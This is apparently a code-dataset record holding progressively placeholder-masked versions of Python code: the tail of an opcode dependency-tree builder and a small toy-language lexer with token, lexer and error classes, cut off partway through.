Interpreter(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n <function token>\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n\n\nclass ValueNode(object):\n <function token>\n <function token>\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n\n\nclass OpNode(object):\n <function token>\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n\n\nclass OpNode(object):\n <function token>\n <function token>\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n <function token>\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass OpcodeTreeBuilder(object):\n <function token>\n <function token>\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass OpcodeTreeBuilder(object):\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<code token>\n" ]
false
497
8d5b75dc945844d48f52159be08fc1e6aa51fdf5
# Takes in a word and makes a list containing individual characters def split(word): return [char for char in word] # Removes empty strings from a list def removeEmptyStrings(lst): while "" in lst: lst.remove("") ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] tokenList = [] class Token: def __init__(self, token, value): self.token = token self.value = value def display(self): # Throws error if character is unknown if self.token == 'ERROR': error = Error('UnknownError', 'cannot identify character', str(self.value), 1, r'C:\Users\tanne\My_Codes\Python\ease_language\SAMPLE.py') print(error.display()) # Displays token value pairs else: if self.token == 'STRING' or self.token == 'INT': pair = f'{self.token}: {self.value}' else: pair = f'{self.token}' return pair # Adds token value pairs to list def addToList(self): tokenList.append(self.display()) class Lexer: def __init__(self, items): self.items = split(items) self.index = 0 self.item = '' self.stringOn = False self.stringList = '' self.intOn = False # Identifies correct token type def identify(self): ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] tok = '' val = self.item if '"' == self.item or "'" == self.item: if self.stringOn: self.stringOn = False tok = 'STRING' val = self.getString() else: self.stringOn = True elif self.stringOn: self.addToString() elif self.item in ' \n': pass elif '+' == self.item: tok = 'PLUS' elif '-' == self.item: tok = 'MINUS' elif '*' == self.item: tok = 'MUL' elif '/' == self.item: tok = 'DIV' elif '(' == self.item: tok = 'LPAREN' elif ')' == self.item: tok = 'RPAREN' else: if self.item in ints: tok = 'INT' else: tok = 'ERROR' token = Token(tok, val) return token.addToList() # Moves forward a character def advance(self): self.item = self.items[self.index] self.index += 1 # Displays list of token value pairs def displayAll(self): removeEmptyStrings(tokenList) return tokenList # Adds an item to a string def addToString(self): self.stringList += self.item # Returns string and clears it def getString(self): temp = self.stringList self.stringList = '' return temp class Error: def __init__(self, error, detail, code, line, fileName): self.error = error self.detail = detail self.code = code self.line = line self.file = fileName # Displays errors def display(self): return f'File "{self.file}", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}' # Runs needed methods def run(text): wordList = split(text) l1 = Lexer(text) for word in wordList: l1.advance() l1.identify() print(l1.displayAll()) tokenList.clear()
[ "# Takes in a word and makes a list containing individual characters\ndef split(word): \n return [char for char in word]\n\n# Removes empty strings from a list\ndef removeEmptyStrings(lst):\n while \"\" in lst: \n lst.remove(\"\") \n\nints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\ntokenList = []\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n \n def display(self):\n\n # Throws error if character is unknown\n if self.token == 'ERROR':\n error = Error('UnknownError', 'cannot identify character', str(self.value), 1, r'C:\\Users\\tanne\\My_Codes\\Python\\ease_language\\SAMPLE.py')\n print(error.display())\n\n # Displays token value pairs\n else:\n if self.token == 'STRING' or self.token == 'INT':\n pair = f'{self.token}: {self.value}'\n else:\n pair = f'{self.token}'\n return pair\n \n # Adds token value pairs to list\n def addToList(self):\n tokenList.append(self.display())\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n # Identifies correct token type\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n\n tok = ''\n val = self.item\n\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n else:\n if self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n \n token = Token(tok, val)\n return token.addToList()\n \n # Moves forward a character\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n \n # Displays list of token value pairs\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n \n # Adds an item to a string\n def addToString(self):\n self.stringList += self.item\n \n # Returns string and clears it\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n \n # Displays errors\n def display(self):\n return f'File \"{self.file}\", line {str(self.line)}\\n {self.code}\\n{self.error}: {self.detail}'\n\n# Runs needed methods\ndef run(text):\n wordList = split(text)\n l1 = Lexer(text)\n\n for word in wordList:\n l1.advance()\n l1.identify()\n \n print(l1.displayAll())\n tokenList.clear()", "def split(word):\n return [char for char in word]\n\n\ndef removeEmptyStrings(lst):\n while '' in lst:\n lst.remove('')\n\n\nints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\ntokenList = []\n\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n\n def display(self):\n if self.token == 'ERROR':\n error = Error('UnknownError', 'cannot identify character', str(\n self.value), 1,\n 'C:\\\\Users\\\\tanne\\\\My_Codes\\\\Python\\\\ease_language\\\\SAMPLE.py')\n print(error.display())\n else:\n if self.token == 'STRING' or self.token == 'INT':\n pair = f'{self.token}: {self.value}'\n else:\n pair = f'{self.token}'\n return pair\n\n def addToList(self):\n tokenList.append(self.display())\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\ndef run(text):\n wordList = split(text)\n l1 = Lexer(text)\n for word in wordList:\n l1.advance()\n l1.identify()\n print(l1.displayAll())\n tokenList.clear()\n", "def split(word):\n return [char for char in word]\n\n\ndef removeEmptyStrings(lst):\n while '' in lst:\n lst.remove('')\n\n\n<assignment token>\n\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n\n def display(self):\n if self.token == 'ERROR':\n error = Error('UnknownError', 'cannot identify character', str(\n self.value), 1,\n 'C:\\\\Users\\\\tanne\\\\My_Codes\\\\Python\\\\ease_language\\\\SAMPLE.py')\n print(error.display())\n else:\n if self.token == 'STRING' or self.token == 'INT':\n pair = f'{self.token}: {self.value}'\n else:\n pair = f'{self.token}'\n return pair\n\n def addToList(self):\n tokenList.append(self.display())\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\ndef run(text):\n wordList = split(text)\n l1 = Lexer(text)\n for word in wordList:\n l1.advance()\n l1.identify()\n print(l1.displayAll())\n tokenList.clear()\n", "<function token>\n\n\ndef removeEmptyStrings(lst):\n while '' in lst:\n lst.remove('')\n\n\n<assignment token>\n\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n\n def display(self):\n if self.token == 'ERROR':\n error = Error('UnknownError', 'cannot identify character', str(\n self.value), 1,\n 'C:\\\\Users\\\\tanne\\\\My_Codes\\\\Python\\\\ease_language\\\\SAMPLE.py')\n print(error.display())\n else:\n if self.token == 'STRING' or self.token == 'INT':\n pair = f'{self.token}: {self.value}'\n else:\n pair = f'{self.token}'\n return pair\n\n def addToList(self):\n tokenList.append(self.display())\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\ndef run(text):\n wordList = split(text)\n l1 = Lexer(text)\n for word in wordList:\n l1.advance()\n l1.identify()\n print(l1.displayAll())\n tokenList.clear()\n", "<function token>\n\n\ndef removeEmptyStrings(lst):\n while '' in lst:\n lst.remove('')\n\n\n<assignment token>\n\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n\n def display(self):\n if self.token == 'ERROR':\n error = Error('UnknownError', 'cannot identify character', str(\n self.value), 1,\n 'C:\\\\Users\\\\tanne\\\\My_Codes\\\\Python\\\\ease_language\\\\SAMPLE.py')\n print(error.display())\n else:\n if self.token == 'STRING' or self.token == 'INT':\n pair = f'{self.token}: {self.value}'\n else:\n pair = f'{self.token}'\n return pair\n\n def addToList(self):\n tokenList.append(self.display())\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n\n def display(self):\n if self.token == 'ERROR':\n error = Error('UnknownError', 'cannot identify character', str(\n self.value), 1,\n 'C:\\\\Users\\\\tanne\\\\My_Codes\\\\Python\\\\ease_language\\\\SAMPLE.py')\n print(error.display())\n else:\n if self.token == 'STRING' or self.token == 'INT':\n pair = f'{self.token}: {self.value}'\n else:\n pair = f'{self.token}'\n return pair\n\n def addToList(self):\n tokenList.append(self.display())\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return 